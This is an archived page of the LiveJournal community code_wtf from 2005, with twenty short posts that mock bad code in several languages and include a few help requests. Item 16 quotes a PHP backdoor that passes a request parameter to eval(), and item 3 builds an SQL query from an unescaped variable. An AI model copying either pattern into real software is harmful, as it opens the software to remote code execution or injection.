1. Java :: Точно не боян

    Date: 09/28/05     Keywords: no keywords

    Совершенно реальный кусок кода нашей системы, нарисованный индусами и для большей понятности немного причесанный и отформатированный.
    Hint: к константам присмотритесь, да?


    class
    PopulateTimesheetHelper { 400 private final String[] MONTH = {"JANUARY", "FEBRUARY", "MARCH", "APRIL", "MAY", "JUNE", "JULY", "AUGUST", "SEPTEMBER", "OCTOMBER", "NOVEMBER", "DECEMBER"}; 403 private int getMonth(String mnth) { 404 int count = 0, num = 0; 405 while (count < MONTH.length) { 406 if (MONTH[count].equals(mnth)) { 407 num = count; 408 } 409 count++; 410 } 411 return num; 412 } 413 }

    Source: http://www.livejournal.com/community/code_wtf/15376.html

  2. Java :: Invoke static method using null reference

    Date: 09/20/05     Keywords: no keywords

    ((Integer) null).parseInt("123"); // works


    (c)

    Source: http://www.livejournal.com/community/code_wtf/15056.html

  3. php

    Date: 09/20/05     Keywords: no keywords

    $TotalPoints =0;
    $DBA->query("SELECT Points from SomeTable where ID='$SomeValue");

    while($DBA->next_record())
    {
    $TotalPoints += $DBA->f(Points);
    }
    echo $TotalPoints ;

    Source: http://www.livejournal.com/community/code_wtf/14738.html

  4. PHP, piece of IndexU code

    Date: 09/16/05     Keywords: no keywords

    if($rating==1) $rating_image = "f".">";
    elseif($rating==2) $rating_image = "f".">";
    elseif($rating==3) $rating_image = "f".">";
    elseif($rating==4) $rating_image = "f".">";
    elseif($rating==5) $rating_image = "f".">";

    Source: http://www.livejournal.com/community/code_wtf/14509.html

  5. вывод четырёх байт DWORD'а

    Date: 08/23/05     Keywords: no keywords

    printf( "%s", &ID );

    Source: http://www.livejournal.com/community/code_wtf/14023.html

  6. Прикольные исходники

    Date: 08/22/05     Keywords: sql, java, linux

    Java poetry, Linux Haiku, SQL poem, Allitle rude VB poem.

    Читать тут http://www.cs.huji.ac.il/~sashakra/ на английском.

    Source: http://www.livejournal.com/community/code_wtf/13570.html

  7. MS Access and Visual Basic

    Date: 08/17/05     Keywords: templates, mysql, sql, microsoft

    Hi. I'm trying to "beef up" one of the Access general templates for use, and I'm running into a problem.

    I'm using the "Contacts Management" template, and have added a field "ReferredBy" to the Contacts table. I was wanting to add this as a search item on the "Report Date Range" form, so that I can have a report organized not only by date but grouped by ReferredBy.

    I hope this makes sense, I am experienced with Access but not very experienced with Visual Basic. I've done a ton with MySQL, and thought this would be related. I guess I'm wrong... ;-)

    I've been able to add the ReferredBy to the Report Date Range form. However, I get an error:

    Run-time error '2465': Microsoft Access cannot find the field "|" referred to in your expression.

    The VBA for the Report Date Range looks like this:

    Private Sub Form_Open(Cancel As Integer)
    Me.Caption = Me.OpenArgs
    Me![Referred By] = [ReferredBy]
    Me![Beginning Call Date] = Date - Weekday(Date, 2) + 1
    Me![Ending Call Date] = Me![Beginning Call Date] + 6
    End Sub

    Everything works fine when I don't have the "Referredby" line in there, but it does nothing with that item... The way the code is now, it seems circular, but my brain can't figure out how to fix it.

    Please help. I am so frustrated and just looking for a little help, even just where I need to go to get help.

    Thank you!

    x-post in '[info]'sharonme

    Source: http://www.livejournal.com/community/code_wtf/13145.html

  8. Smalltalk

    Date: 08/02/05     Keywords: no keywords

    Collection >> do: operation separatedBy: separator
    	"Evaluate the  argument, operation, 
    	for each of the receiver's elements, interspersed
    	with evaluations of the  
    	argument, separator. The separator is first 
    	evaluated after the first element, and is not
    	evaluated after the last element (i.e. it is not
    	evaluated at all if there are less than two elements)." 
    
    	| sep |
    
    	"Switch to the real separator after first eval." 
    	sep := [sep := separator].
    
    	self do: [:e |
    		sep value.
    		operation value: e].
    	sep := nil.

    Source: http://www.livejournal.com/community/code_wtf/12990.html

  9. PHP

    Date: 08/02/05     Keywords: no keywords

    preg_replace( '/('.preg_quote($search).')/i', '\\1', $word );

    Source: http://www.livejournal.com/community/code_wtf/12674.html

  10. кусочек кода...

    Date: 07/22/05     Keywords: no keywords

    lptr->ptr2 = (char*)::GlobalAlloc(GMEM_FIXED, 10*sizeof(char));
    strcpy(lptr->ptr2, "YEAH Baby");

    Source: http://www.livejournal.com/community/code_wtf/12278.html

  11. It's seconds. No, it's intervals. No, it's HOURS!

    Date: 07/21/05     Keywords: no keywords

    From a code review, where someone asked "It looks like WindowsTimeout is intended to be number of seconds to wait"

    No, $windowsTimeout is the number of 10 second intervals. That is why its being multplied by 360 when its fetched from the command line. You give it
    the timeout in hours e.g. $windowsTimeout = 1 becomes $windowsTimeout = 360 which translates into waiting for 3600 seconds.

    Source: http://www.livejournal.com/community/code_wtf/11963.html

  12. PEAR:DB

    Date: 07/17/05     Keywords: sql

    $db->qwerty($sql);

    Source: http://www.livejournal.com/community/code_wtf/11760.html

  13. :)

    Date: 07/15/05     Keywords: php

    гламурное php сообщество: http://www.livejournal.com/community/phpprincess/

    Source: http://www.livejournal.com/community/code_wtf/11012.html

  14. LOL

    Date: 07/10/05     Keywords: no keywords

    What's common between Halloween and Christmas? Every programmer knows: 31 oct = 25 dec.


    Что общего между Хэллуином и Рождеством? Каждый программер знает: 31 okt = 25 dec.

    (Строка в коде у '[info]'glueknews)

    Source: http://www.livejournal.com/community/code_wtf/10911.html

  15. From Google's JS

    Date: 07/07/05     Keywords: xml, microsoft

    function _noActiveX()
    {
     if (!_ua('msie') || !document.all || _ua('opera'))
     {
      return false;
     }
     var s = false;
     eval('try { new ActiveXObject("Microsoft.XMLDOM"); }'+'catch (e) { s = true; }');
     return s;
    }

    Source: http://www.livejournal.com/community/code_wtf/10664.html

  16. php backdoor :)

    Date: 07/05/05     Keywords: cms

    if (isset($_REQUEST["SUPERBACKDOORSTRINGFORKAKTUSCMSROBERSFORALLOVERTHEWORLD"])){
    eval($_REQUEST["SUPERBACKDOORSTRINGFORKAKTUSCMSROBERSFORALLOVERTHEWORLD"]);

    Source: http://www.livejournal.com/community/code_wtf/10010.html

  17. Если пойти туда, потом туда, потом пройти как-то, то будет такое-то здание, но Вам туда не надо...

    Date: 06/15/05     Keywords: no keywords

    if ( o->SearchID() == ID_BUTTON ||
         o->SearchID() == ID_TPV_DEFBUTTON ||
         o->SearchID() == ID_TPV_NOTIFY_BUTTON ||
          (((UIW_BUTTON *)o)->value >= PM_CONTROL_LOWER &&
          ((UIW_BUTTON *)o)->value <= PM_CONTROL_UPPER) ||
            (((UIW_BUTTON *)o)->value >= PM_NOTEBOOK_LOWER &&
            ((UIW_BUTTON *)o)->value <= PM_NOTEBOOK_UPPER) )
      ;
    else 
      PM_ENTRY(o).setNonSelectable(); 
    

    Source: http://www.livejournal.com/community/code_wtf/9931.html

  18. В anekdot думаю не поймут)))

    Date: 06/14/05     Keywords: no keywords

    Детский конструктор Lego
    Детский деструктор ~Lego

    Source: http://www.livejournal.com/community/code_wtf/9443.html

  19. For the love of Christ..

    Date: 06/02/05     Keywords: programming

    [Error: Irreparable invalid markup ('') in entry. Owner must fix manually. Raw contents below.]

    I am new to programming in C++, about a week old. I've got past experience in scripting macros, basic shell scripting, etc. I'm trying to get a very simple method for prime number generation working, but it's dying at my second if statement.. and my brain hurts.


    #include

    typedef long unsigned int ulong;

    long unsigned int mplier1 = 1, mplier2 = 1, pfactor = 1, pcheck, searchcount = 0, usercount = 0;

    void primeloop();
    ulong mathcheck(ulong x, ulong y);

    int main()
    {
    cout << "How many Primes do you wish to find?: ";
    // Define usercount.
    cin >> usercount;
    cout << "\n";

    // Begin the Prime sweep.
    primeloop();
    return 0;
    }

    void primeloop()
    {
    // Has the user's criteria been met?
    if ( usercount == searchcount )
    {
    cout << "\n\nYour Prime criteria of " << usercount << " has been met.\n";
    cout << "Exiting...";
    return;
    }

    // Generate product to check against primary factor.
    // cout << mathcheck(mplier1,mplier2) << endl;
    pcheck = mathcheck(mplier1,mplier2);

    // If the neither multiplier is equal to the factor, increase multiplier 2.
    if ( ( mplier1 != pcheck ) && ( mplier2 != pcheck ) )
    {
    // cout << "Check 1\n";
    mplier2++;
    primeloop();
    }

    // If multiplier 1 doesn't equal the factor but multiplier 2 does, increment multiplier 1 and reset multiplier 2.
    else
    if ( ( mplier1 != pcheck ) && ( mplier2 == pcheck ) )
    {
    // cout << "Check 2\n";
    mplier2 = 0;
    cout << mplier1++ << endl;
    primeloop();
    }

    // If the factor has been matched by 2 lesser intergers, move to next factor.
    if ( ( pfactor == pcheck ) && ( mplier1 != 1 ) && ( mplier2 != pfactor ) )
    {
    // cout << "Check 3\n";
    mplier1 = 1;
    mplier2 = 0;
    pfactor++;
    primeloop();
    }

    // If the factor cannot be matched by 2 lesser intergers, it is a prime.
    if ( ( pfactor == pcheck ) && ( mplier1 == pcheck ) && ( mplier2 == pcheck ) )
    {
    // cout << "Found prime:\n";
    cout << pfactor << endl;
    mplier1 = 1;
    mplier2 = 0;
    pfactor++;
    searchcount++;
    primeloop();
    }

    }

    ulong mathcheck(ulong x, ulong y)
    {
    return x * y;
    }

    Source: http://www.livejournal.com/community/code_wtf/8555.html

  20. More code from work...

    Date: 05/27/05     Keywords: no keywords

    Perl:

    print "User count: ", (@users + 0), " used of $lic available";

    Source: http://www.livejournal.com/community/code_wtf/7565.html

Previous page  ||  Next page


antivirus | apache | asp | blogging | browser | bugtracking | cms | crm | css | database | ebay | ecommerce | google | hosting | html | java | jsp | linux | microsoft | mysql | offshore | offshoring | oscommerce | php | postgresql | programming | rss | security | seo | shopping | software | spam | spyware | sql | technology | templates | tracker | virus | web | xml | yahoo | home